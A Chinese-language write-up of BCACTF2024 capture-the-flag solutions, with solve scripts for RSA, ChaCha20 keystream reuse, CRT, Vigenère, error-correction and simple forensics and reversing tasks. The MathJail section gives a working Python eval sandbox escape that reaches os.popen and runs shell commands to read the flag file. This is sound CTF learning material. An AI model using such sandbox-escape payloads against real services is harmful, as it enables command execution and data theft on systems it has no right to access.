BCACTF2024
被拉去打R3,结果啥都不会,就装模做样写了两道mc。
趁假期最后一天找了个比赛玩玩,就挑了解多的写。
但最近给我的直观感受,就是什么题都要nc了。
不单单是简单的附件题了,更多要考察代码审计和脚本编写了。
crypto
难度还行。但我对椭圆曲线太不熟了,r3里也有,但我就算看懂了,也不知道怎么用。。。
pip install pwntools
Superstitious 2
(我通常选择直接在源码的文件中写exp)
分析:
正常的rsa加密,但是考察素数的选择。
通过自己输出 ((1 << 1024) - 1)//3 可以发现,都是1010101...01这样的循环。
所以就是考察dfs剪枝
from Crypto.Util.number import *
"""def myGetPrime():
while True:
x = getRandomNBitInteger(1024) & ((1 << 1024) - 1)//3
if isPrime(x):
return x
p = myGetPrime()
q = myGetPrime()
n = p * q
e = 65537
message = open('flag.txt', 'rb')
m = bytes_to_long(message.read())
c = pow(m, e, n)
open("superstitious-2.txt", "w").write(f"n = {n}\ne = {e}\nc = {c}")"""
n = 550201148354755741271315125069984668413716061796183554308291706476140978529375848655819753667593579308959498512392008673328929157581219035186964125404507736120739215348759388064536447663960474781494820693212364523703341226714116205457869455356277737202439784607342540447463472816215050993875701429638490180199815506308698408730404219351173549572700738532419937183041379726568197333982735249868511771330859806268212026233242635600099895587053175025078998220267857284923478523586874031245098448804533507730432495577952519158565255345194711612376226297640371430160273971165373431548882970946865209008499974693758670929
e = 65537
c = 12785320910832143088122342957660384847883123024416376075086619647021969680401296902000223390419402987207599720081750892719692986089224687862496368722454869160470101334513312534671470957897816352186267364039566768347665078311312979099890672319750445450996125821736515659224070277556345919426352317110605563901547710417861311613471239486750428623317970117574821881877688142593093266784366282508041153548993479036139219677970329934829870592931817113498603787339747542136956697591131562660228145606363369396262955676629503331736406313979079546532031753085902491581634604928829965989997727970438591537519511620204387132
"""def findflag(p, q):
if len(p) == 1024:
pp = int(p,2)
if n % pp == 0:
p = pp
q = n // pp
print(p)
print(q)
exit()
else:
l = len(p)
pp = int(p,2)
qq = int(q,2)
if pp * qq % (2**l) == n % (2**l):
findflag("00" + p, "01" + q)
findflag("01" + p, "01" + q)
findflag("00" + p, "00" + q)
findflag("01" + p, "00" + q)
findflag("01", "01")"""
from gmpy2 import *
p=47981816076831973450909530669541706953770597006817333749891020556945477629662108524163405141438024312107792294535273473111389298189846712963818162954497000930546383005418285868804270188594230163069868709422261521819309406460567627868198499351382463630966329988388255592530605189569811432880392671877694493697
q=11466867937506443031079406557463511000236825156042986330491372554263065048494616429572254582549332374593524344514321333368747919034845244563606383834070804967345648840205613712911286600828703809116499141392947298788689558078395325755136448592591616295144118450804581480471547613492025968699740517273286296657
print(long_to_bytes(pow(c,invert(e,(p-1)*(q-1)),n)))
Cha-Cha Slide
就是正常的chacha20加解密,但是主要考察如何用nc来解决。
chacha20主要是对密钥进行操作
对明文的加密就是简单的异或操作
所以我们自己创造明文,得到对应的密文
我们就可以知道操作后的密钥
再跟 服务器消息 进行异或,就是需要的明文了
"""from Crypto.Cipher import ChaCha20
from os import urandom
key = urandom(32)
nonce = urandom(12)
secret_msg = urandom(16).hex()
def encrypt_msg(plaintext):
cipher = ChaCha20.new(key=key, nonce=nonce)
return cipher.encrypt(plaintext.encode()).hex()
print('Secret message:')
print(encrypt_msg(secret_msg))
print('\nEnter your message:')
user_msg = input()
if len(user_msg) > 256:
print('\nToo long!')
exit()
print('\nEncrypted:')
print(encrypt_msg(user_msg))
print('\nEnter decrypted secret message:')
decrypted_secret_msg = input()
if len(decrypted_secret_msg) == len(secret_msg):
if decrypted_secret_msg == secret_msg:
with open('../flag.txt') as file:
print('\n' + file.read())
exit()
print('\nIncorrect!')"""
from Crypto.Util.number import *
from pwn import *
from os import urandom
from Crypto.Cipher import ChaCha20
p=remote("challs.bcactf.com",31594)
user_msg = b'nabynabynabynabynabynabynabynaby'
p.recvuntil(b'Secret message:\n')
sm=int(p.recvline(),16)
p.sendline(user_msg)
p.recvuntil(b'Encrypted:\n')
cm=int(p.recvline(),16)
flag=sm^(cm^bytes_to_long(user_msg))
p.sendline(long_to_bytes(flag))
p.interactive()
#bcactf{b3_C4rEFu1_wItH_crypT0Gr4phy_7d12be3b}
RSAEncrypter
正常的rsa加密
但是e很小,而且我们可以多次获得n和c
而且排除广播攻击,就是利用crt了
"""from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
message = open("./flag.txt").read().encode('utf-8')
def encode():
n = getPrime(512)*getPrime(512)
ciphertext = pow(bytes_to_long(message), 3, n)
return (ciphertext, n)
print("Return format: (ciphertext, modulus)")
print(encode())
sent = input("Did you recieve the message? (y/n) ")
while sent=='n':
print(encode())
sent = input("How about now? (y/n) ")
print("Message acknowledged.")"""
from gmpy2 import *
from Crypto.Util.number import *
from pwn import *
from sympy.ntheory.modular import crt
c=[]
n=[]
p=remote("challs.bcactf.com",31452)
p.recvline()
enc=eval(p.recvline().decode()) # eval可以将 tuple字符串 形式转为 tuple
c.append(enc[0])
n.append(enc[1])
p.sendlineafter(b'Did you recieve the message? (y/n) ',b'n')
enc=eval(p.recvline().decode())
c.append(enc[0])
n.append(enc[1])
for i in range(5):
p.sendlineafter(b'How about now? (y/n) ',b'n')
enc=eval(p.recvline().decode())
c.append(enc[0])
n.append(enc[1])
#使用中国余数定理计算m的e次方
x = crt(n, c, check=True)
print(long_to_bytes(iroot(x[0],3)[0]))
# b'bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}'
p.interactive()
Encryptor Shop
就是简单的公用素数问题
可以直接nc交互获取数据,我这里练习一下脚本编写
"""from Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = 65537
d = pow(e, -1, phi)
print("Welcome to the enc-shop!")
print("What can I encrypt for you today?")
for _ in range(3):
message = input("Enter text to encrypt: ")
m = bytes_to_long(message.encode())
c = pow(m, e, n)
print(f"Here is your encrypted message: {c}")
print(f"c = {c}")
print("Here is the public key for your reference:")
print(f"n = {n}")
print(f"e = {e}")
print("Thank you for encrypting with us!")
print("In order to guarantee the security of your data, we will now let you view the encrypted flag.")
x=input("Would you like to view it? (yes or no) ")
if x.lower() == "yes":
with open("flag.txt", "r") as f:
flag = f.read().strip()
m = bytes_to_long(flag.encode())
n = p*r
c = pow(m, e, n)
print(f"Here is the encrypted flag: {c}")
print("Here is the public key for your reference:")
print(f"n = {n}")"""
from gmpy2 import *
from Crypto.Util.number import *
from pwn import *
p=remote("challs.bcactf.com",31704)
for i in range(3):
p.recvuntil(b'encrypt: ')
p.sendline(b'1')
p.recvuntil(b'c = ')
c=int(p.recvline().decode())
p.recvuntil(b'n = ')
n1=int(p.recvline().decode())
e=65537
p.sendlineafter(b'(yes or no) ',b'yes')
p.recvuntil(b'flag: ')
m=int(p.recvline().decode())
p.recvuntil(b'n = ')
n2=int(p.recvline().decode())
p=gcd(n1,n2)
print(long_to_bytes(pow(m,invert(e,(p-1)*(n2//p-1)),n2)))
#b'bcactf{w0w_@lg3br@_d3in48uth934r}'
Vinegar Times 3
key - vinegar
cipher 0 - mmqaonv
cipher 1 - seooizmt
cipher 2 - bdoloeinbdjmmyg <- THIS ONE
依次解密,每次维吉尼亚密钥就是上一次解出来的东西
c0->redwine
c1->balsamic
c2->addtosaladyummy
题目说要添加下划线,这里自己根据单词添加一下
bcactf{add_to_salad_yummy}
应该是这个,结束了复现不让提交
rad-be-damned
分析:
读取flag每个字符
encrypt最后得到是这个字符的二进制+一些异或操作,具体什么操作可以不在乎
rad对encrypt操作后的值,从0-11位随机选取一位异或1
解题:
读取文件,每12位一组,前8位是字符的二进制,后4位是操作
我们可以直接进行爆破,对这12位每位都进行依次异或1
然后取前8位进行encrypt操作,看看得到的结果是不是对应的
"""import random
def find_leftmost_set_bit(plaintext):
pos = 0
while plaintext > 0:
plaintext = plaintext >> 1
pos += 1
return pos
def encrypt(plaintext: str):
enc_plaintext = ""
for letter in plaintext:
cp = int("10011", 2)
cp_length = cp.bit_length()
bin_letter, rem = ord(letter), ord(letter) * 2**(cp_length - 1)
print(bin(rem)[2:])
while (rem.bit_length() >= cp_length):
first_pos = find_leftmost_set_bit(rem)
rem = rem ^ (cp << (first_pos - cp_length))
print(bin(rem)[2:])
print(chr(bin_letter))
print(format(bin_letter, "08b"))
enc_plaintext += format(bin_letter, "08b") + format(rem, "0" + f"{cp_length - 1}" + "b")
return enc_plaintext
def rad(text: str):
corrupted_str = ""
for ind in range(0, len(text), 12):
bit_mask = 2 ** (random.randint(0, 11))
snippet = int(text[ind : ind + 12], base = 2)
rad_str = snippet ^ bit_mask
corrupted_str += format(rad_str, "012b")
return corrupted_str
def main():
plaintext="c"
enc_plaintext = encrypt(plaintext)
print(enc_plaintext)
cor_text = rad(enc_plaintext)
if __name__ == '__main__':
main()"""
import random
def find_leftmost_set_bit(plaintext):
pos = 0
while plaintext > 0:
plaintext = plaintext >> 1
pos += 1
return pos
def encrypt(plaintext: str):
enc_plaintext = ""
for letter in plaintext:
cp = int("10011", 2)
cp_length = cp.bit_length()
bin_letter, rem = ord(letter), ord(letter) * 2 ** (cp_length - 1)
while (rem.bit_length() >= cp_length):
first_pos = find_leftmost_set_bit(rem)
rem = rem ^ (cp << (first_pos - cp_length))
enc_plaintext += format(bin_letter, "08b") + format(rem, "0" + f"{cp_length - 1}" + "b")
return enc_plaintext
def decrypt_encrypted_bin(enc_bin):
plaintext = ""
for i in enc_bin:
for j in range(12):
a = format(int(i, 2) ^ (2 ** j), "012b")
pre = int(a[:8], 2)
b = encrypt(chr(pre))
if b == a:
print(chr(pre), end="")
return plaintext
def rad_reverse(text: str):
original = []
for ind in range(0, len(text), 12):
snippet = int(text[ind: ind + 12], base=2)
original_str = format(snippet, "012b")
original.append(original_str)
return original
def main():
with open('output.txt') as f:
cor_text = f.read().strip()
original_enc_bin = rad_reverse(cor_text)
print(decrypt_encrypted_bin(original_enc_bin))
if __name__ == '__main__':
main()
#bcactf{yumMY-y311OWC4ke-x7CwKqQc5fLquE51V-jMUA-aG9sYS1jb21vLWVzdGFz}
binex
Inaccessible
考察调试
gdb运行之后,直接jump win
foren
23-719
打开附件,搜索bcactf可以发现有flag
我是直接ctrl+a全选然后复制到word里打开看有了
Chalkboard Gag
写个脚本就行了,看看有没有不一样的输出就好
b="I WILL NOT BE SNEAKY"
with open('chalkboardgag.txt','r') as f:
line=f.readline()
while line:
line=line.strip()
for i in range(len(line)):
if line[i]!=b[i]:
print(line[i],end="")
line=f.readline()
#bcactf{BaRT_W0U1D_B3_PR0uD}
Sea Scavenger
每个小动物点击去就是分段的flag
shark:f12源代码注释里 bcactf{b3
squid:源代码js文件里 t_y0u_d1
clam: 源代码js文件里,貌似应该是cookie里的 dnt_f1n
shipwreck:数据包头里 d_th3_tr
whale:源代码js文件里 e4sur3
treasure:有提示robots,就在robots.txt里 _t336e3}
bcactf{b3t_y0u_d1dnt_f1nd_th3_tre4sur3_t336e3}
misc
MathJail
nc版的ssti
写脚本爆破一下subclass看看哪一个类是os就好了
"""print("Welcome to your friendly python calculator!")
equation = input("Enter your equation below and I will give you the answer:\n")
while equation!="e":
answer = eval(equation, {"__builtins__":{}},{})
print(f"Here is your answer: {answer}")
equation = input("Enter your next equation below (type 'e' to exit):\n")
print("Goodbye!")"""
from pwn import *
p=remote("challs.bcactf.com",31289)
p.recvuntil(b'answer:\n')
#扫描类
"""for i in range(200):
payload=b'{[].__class__.__base__.__subclasses__()['+str(i).encode()+b']}'
p.sendline(payload)
print(i,p.recvline())
res=p.recvline()"""
#154 b"Here is your answer: {<class 'os._wrap_close'>}\n"
#查看目录
#payload=b'{[].__class__.__base__.__subclasses__()[154].__init__.__globals__[\'popen\'](\'ls\').read()}'
#Here is your answer: {'flag.txt\npycalculator.py\nynetd\nynetd.c\n'}
payload=b'{[].__class__.__base__.__subclasses__()[154].__init__.__globals__[\'popen\'](\'cat flag.txt\').read()}'
p.sendline(payload)
#Here is your answer: {'bcactf{math_is_so_difficult_right?8943yfg09whgh3r89ghwerp}'}
p.interactive()
Discord
discord中的rules中,点进去会出现提示跳转就是了
rev
Broken C Code
跳过0000每个数据都处理就好了
from math import sqrt
b=[0x2587,0x264c,0x24c4,0x264c,0x3493,0x28a7,0x3b1c,0x264c,0x2344,0x264c,0x0903,0x2713,0x129c,0x2344,0x28a7,0x14d4,0x1e43,0x27dc,0x1213,0x2344,0x0bd4,0x1443,0x0a93,0x17c7,0x15fc,0x0afc,0x2344,0x0bd4,0x0b67,0x09c7,0x0a93,0x0bd4,0x0c43,0x09c7,0x0bd4,0x0b67,0x3d0c,0x0067]
for i in range(len(b)):
print(chr(int(sqrt(b[i]-3))),end="")
#bcactf{c_c0dE_fIXeD_7H4NK5_762478276}
XOR
nc获取flag
文件idea打开获取异或密钥
Flagtureiser
jeb_pro打开看伪代码就行了